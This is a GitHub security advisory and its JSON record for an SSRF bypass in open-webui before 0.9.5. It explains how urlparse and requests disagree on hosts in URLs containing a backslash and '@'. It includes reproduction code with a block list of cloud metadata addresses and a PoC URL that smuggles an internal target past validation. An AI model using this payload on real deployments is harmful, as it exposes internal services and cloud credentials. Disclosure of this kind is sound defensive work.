GHSA-8W7Q-Q5JP-JVGX
Vulnerability from github – Published: 2026-05-14 20:27 – Updated: 2026-05-15 23:55Summary
In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.
Details
In the current project, URL validation is performed using the function validate_url.
The current checking logic uses urlparse to parse the hostname part of the URL for verification.
However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse()treats\as a regular character and@as the userinfo-host delimiter, so it extracts hostname as1.1.1.1(public)requeststreats\as a path character, connecting to127.0.0.1(internal)
Below is a test code I wrote following the open-webui code.
from __future__ import annotations
import ipaddress
import logging
import os
import socket
import urllib.parse
import urllib.request
from typing import Optional, Sequence, Union
import requests
log = logging.getLogger(__name__)
# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL
INVALID_URL = (
"Oops! The URL you provided is invalid. Please double-check and try again."
)
# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)
ENABLE_RAG_LOCAL_WEB_FETCH = (
os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true"
)
_DEFAULT_WEB_FETCH_FILTER_LIST = [
"!169.254.169.254",
"!fd00:ec2::254",
"!metadata.google.internal",
"!metadata.azure.com",
"!100.100.100.200",
]
_web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "")
if _web_fetch_filter_env == "":
_web_fetch_filter_env_list: list[str] = []
else:
_web_fetch_filter_env_list = [
item.strip()
for item in _web_fetch_filter_env.split(",")
if item.strip()
]
WEB_FETCH_FILTER_LIST = list(
set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)
)
def get_allow_block_lists(filter_list):
allow_list = []
block_list = []
if filter_list:
for d in filter_list:
if d.startswith("!"):
block_list.append(d[1:].strip())
else:
allow_list.append(d.strip())
return allow_list, block_list
def is_string_allowed(
string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None
) -> bool:
if not filter_list:
return True
allow_list, block_list = get_allow_block_lists(filter_list)
strings = [string] if isinstance(string, str) else list(string)
if allow_list:
if not any(s.endswith(allowed) for s in strings for allowed in allow_list):
return False
if any(s.endswith(blocked) for s in strings for blocked in block_list):
return False
return True
def resolve_hostname(hostname):
# Get address information
addr_info = socket.getaddrinfo(hostname, None)
# Extract IP addresses from address information
ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]
ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]
return ipv4_addresses, ipv6_addresses
def _validators_url_accept(url: str) -> bool:
"""
Stand-in for python-validators url(): True if string looks like http(s) URL with host.
"""
try:
u = url.strip()
if not u:
return False
p = urllib.parse.urlparse(u)
if p.scheme not in ("http", "https"):
return False
if not p.netloc:
return False
return True
except Exception:
return False
def _ipv4_private(ip: str) -> bool:
try:
a = ipaddress.ip_address(ip)
return a.version == 4 and a.is_private
except ValueError:
return False
def _ipv6_private(ip: str) -> bool:
try:
a = ipaddress.ip_address(ip)
return a.version == 6 and a.is_private
except ValueError:
return False
def validate_url(url: Union[str, Sequence[str]]):
if isinstance(url, str):
if not _validators_url_accept(url):
raise ValueError(INVALID_URL)
parsed_url = urllib.parse.urlparse(url)
# Protocol validation - only allow http/https
if parsed_url.scheme not in ["http", "https"]:
log.warning(
f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}"
)
raise ValueError(INVALID_URL)
# Blocklist check using unified filtering logic
if WEB_FETCH_FILTER_LIST:
if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
log.warning(f"URL blocked by filter list: {url}")
raise ValueError(INVALID_URL)
if not ENABLE_RAG_LOCAL_WEB_FETCH:
# Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
parsed_url = urllib.parse.urlparse(url)
# Get IPv4 and IPv6 addresses
ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
# Check if any of the resolved addresses are private
# This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
for ip in ipv4_addresses:
if _ipv4_private(ip):
raise ValueError(INVALID_URL)
for ip in ipv6_addresses:
if _ipv6_private(ip):
raise ValueError(INVALID_URL)
return True
elif isinstance(url, Sequence):
return all(validate_url(u) for u in url)
else:
return False
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
# url = "https://127.0.0.1:6666\@1.1.1.1"
url = "https://127.0.0.1:6666"
validate_url(url)
response = requests.get(url)
print(response.text)
As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.
However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.
PoC
http://127.0.0.1:6666\@baidu.com
Impact
SSRF
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45400"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:27:00Z",
"nvd_published_at": "2026-05-15T21:16:38Z",
"severity": "HIGH"
},
"details": "### Summary\nIn the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.\n\n### Details\nIn the current project, URL validation is performed using the function validate_url.\n\n\u003cimg width=\"1323\" height=\"1145\" alt=\"QQ20260322-202854-22-1\" src=\"https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47\" /\u003e\n\nThe current checking logic uses urlparse to parse the hostname part of the URL for verification.\n\n\u003cimg width=\"1122\" height=\"429\" alt=\"QQ20260322-203014-22-2\" src=\"https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88\" /\u003e\n\nHowever, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request.\n\n\u003cimg width=\"1269\" height=\"915\" alt=\"QQ20260322-203122-22-3\" src=\"https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b\" /\u003e\n\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the open-webui code.\n```\nfrom __future__ import annotations\n\nimport ipaddress\nimport logging\nimport os\nimport socket\nimport urllib.parse\nimport urllib.request\nfrom typing import Optional, Sequence, Union\nimport requests\n\nlog = logging.getLogger(__name__)\n\n# Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL\nINVALID_URL = (\n \"Oops! The URL you provided is invalid. Please double-check and try again.\"\n)\n\n# Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST)\nENABLE_RAG_LOCAL_WEB_FETCH = (\n os.getenv(\"ENABLE_RAG_LOCAL_WEB_FETCH\", \"False\").lower() == \"true\"\n)\n\n_DEFAULT_WEB_FETCH_FILTER_LIST = [\n \"!169.254.169.254\",\n \"!fd00:ec2::254\",\n \"!metadata.google.internal\",\n \"!metadata.azure.com\",\n \"!100.100.100.200\",\n]\n_web_fetch_filter_env = os.getenv(\"WEB_FETCH_FILTER_LIST\", \"\")\nif _web_fetch_filter_env == \"\":\n _web_fetch_filter_env_list: list[str] = []\nelse:\n _web_fetch_filter_env_list = [\n item.strip()\n for item in _web_fetch_filter_env.split(\",\")\n if item.strip()\n ]\nWEB_FETCH_FILTER_LIST = list(\n set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list)\n)\n\n\ndef get_allow_block_lists(filter_list):\n allow_list = []\n block_list = []\n\n if filter_list:\n for d in filter_list:\n if d.startswith(\"!\"):\n block_list.append(d[1:].strip())\n else:\n allow_list.append(d.strip())\n\n return allow_list, block_list\n\n\ndef is_string_allowed(\n string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None\n) -\u003e bool:\n if not filter_list:\n return True\n\n allow_list, block_list = get_allow_block_lists(filter_list)\n strings = [string] if isinstance(string, str) else list(string)\n\n if allow_list:\n if not any(s.endswith(allowed) for s in strings for allowed in allow_list):\n return False\n\n if any(s.endswith(blocked) for s in strings for blocked in block_list):\n return False\n\n return True\n\n\ndef resolve_hostname(hostname):\n # Get address information\n addr_info = socket.getaddrinfo(hostname, None)\n\n # Extract IP addresses from address information\n ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET]\n ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6]\n\n return ipv4_addresses, ipv6_addresses\n\n\ndef _validators_url_accept(url: str) -\u003e bool:\n \"\"\"\n Stand-in for python-validators url(): True if string looks like http(s) URL with host.\n \"\"\"\n try:\n u = url.strip()\n if not u:\n return False\n p = urllib.parse.urlparse(u)\n if p.scheme not in (\"http\", \"https\"):\n return False\n if not p.netloc:\n return False\n return True\n except Exception:\n return False\n\n\ndef _ipv4_private(ip: str) -\u003e bool:\n try:\n a = ipaddress.ip_address(ip)\n return a.version == 4 and a.is_private\n except ValueError:\n return False\n\n\ndef _ipv6_private(ip: str) -\u003e bool:\n try:\n a = ipaddress.ip_address(ip)\n return a.version == 6 and a.is_private\n except ValueError:\n return False\n\n\ndef validate_url(url: Union[str, Sequence[str]]):\n if isinstance(url, str):\n if not _validators_url_accept(url):\n raise ValueError(INVALID_URL)\n\n parsed_url = urllib.parse.urlparse(url)\n\n # Protocol validation - only allow http/https\n if parsed_url.scheme not in [\"http\", \"https\"]:\n log.warning(\n f\"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}\"\n )\n raise ValueError(INVALID_URL)\n\n # Blocklist check using unified filtering logic\n if WEB_FETCH_FILTER_LIST:\n if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):\n log.warning(f\"URL blocked by filter list: {url}\")\n raise ValueError(INVALID_URL)\n\n if not ENABLE_RAG_LOCAL_WEB_FETCH:\n # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses\n parsed_url = urllib.parse.urlparse(url)\n # Get IPv4 and IPv6 addresses\n ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)\n # Check if any of the resolved addresses are private\n # This is technically still vulnerable to DNS rebinding attacks, as we don\u0027t control WebBaseLoader\n for ip in ipv4_addresses:\n if _ipv4_private(ip):\n raise ValueError(INVALID_URL)\n for ip in ipv6_addresses:\n if _ipv6_private(ip):\n raise ValueError(INVALID_URL)\n return True\n elif isinstance(url, Sequence):\n return all(validate_url(u) for u in url)\n else:\n return False\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n # url = \"https://127.0.0.1:6666\\@1.1.1.1\"\n url = \"https://127.0.0.1:6666\"\n validate_url(url)\n response = requests.get(url)\n print(response.text)\n\n```\nAs you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.\n\n\u003cimg width=\"1428\" height=\"273\" alt=\"QQ20260322-203503-22-4\" src=\"https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f\" /\u003e\n\nHowever, for https://127.0.0.1:6666\\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.\n\n\u003cimg width=\"2255\" height=\"786\" alt=\"QQ20260322-203750-22-5\" src=\"https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@baidu.com\n```\n\n### Impact\nSSRF",
"id": "GHSA-8w7q-q5jp-jvgx",
"modified": "2026-05-15T23:55:29Z",
"published": "2026-05-14T20:27:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8w7q-q5jp-jvgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45400"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has a Server-Side Request Forgery (SSRF) bypass in `validate_url`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.